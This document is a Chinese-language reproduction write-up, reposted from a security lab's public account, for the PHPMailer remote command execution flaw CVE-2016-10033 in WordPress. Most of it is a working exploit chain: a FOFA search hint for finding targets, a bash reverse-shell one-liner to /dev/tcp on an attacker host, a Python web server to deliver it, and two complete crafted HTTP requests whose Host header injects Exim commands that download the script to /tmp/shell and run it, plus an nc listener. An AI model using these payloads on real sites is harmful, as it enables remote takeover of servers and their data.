CVE-2016-10033 WordPress PHPMailer(版本 < 5.2.18)远程命令执行漏洞

本文转载于公众号：融云攻防实验室，原文地址：

漏洞复现 CVE-2016-10033 WordPress PHPMailer(版本 < 5.2.18)远程命令执行漏洞

0x01 阅读须知

0x02 漏洞描述

WordPress 是一种使用 PHP 语言开发的博客平台，用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统（CMS）来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞，攻击者只需巧妙地构造出一个恶意邮箱地址，即可写入任意文件，造成远程命令执行的危害。

0x03 漏洞复现

漏洞影响: PHPMailer < 5.2.18 和 WordPress、Drupal、1CRM、Joomla!等使用了PHPMailer的开源CMS

FOFA:WordPress注：该漏洞利用条件比较苛刻，依赖于ssh-agent进程。这个进程默认不启动，且只在多主机间免密码登录时才会用到。

1.目录下存放一个反弹shell的脚本1.txt，并使用python3开启80端口用作web下载服务（公网环境下需要域名）

bash -i >& /dev/tcp/x.x.x.x/7777 0>&1 #反弹shell脚本1.txt
python3 -m http.server 80 #python3 web服务

2.抓包构造payload，执行下载此脚本到/tmp/shell（注：user_login处一定要是存在的用户名，报文中Host中的x.x.x.x放域名或IP）

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}x.x.x.x${substr{0}{1}{$spool_directory}}1.txt}} null)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Origin: http://x.x.x.x:8080
DNT: 1
Connection: close
Referer: http://x.x.x.x:8080/wp-login.php?action=lostpassword
Cookie: JSESSIONID=node01c863u8lzu8eyn099a51bjyie0.node0; wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1

user_login=11&redirect_to=&wp-submit=%E8%8E%B7%E5%8F%96%E6%96%B0%E5%AF%86%E7%A0%8

3.监听7777端口

nc.exe -lvvp 7777

4.构造payload执行刚刚上传的/tmp/shell脚本，得到一个shell

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Origin: http://x.x.x.x:8080
DNT: 1
Connection: close
Referer: http://x.x.x.x:8080/wp-login.php?action=lostpassword
Cookie: JSESSIONID=node01c863u8lzu8eyn099a51bjyie0.node0; wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1

user_login=11&redirect_to=&wp-submit=%E8%8E%B7%E5%8F%96%E6%96%B0%E5%AF%86%E7%A0%81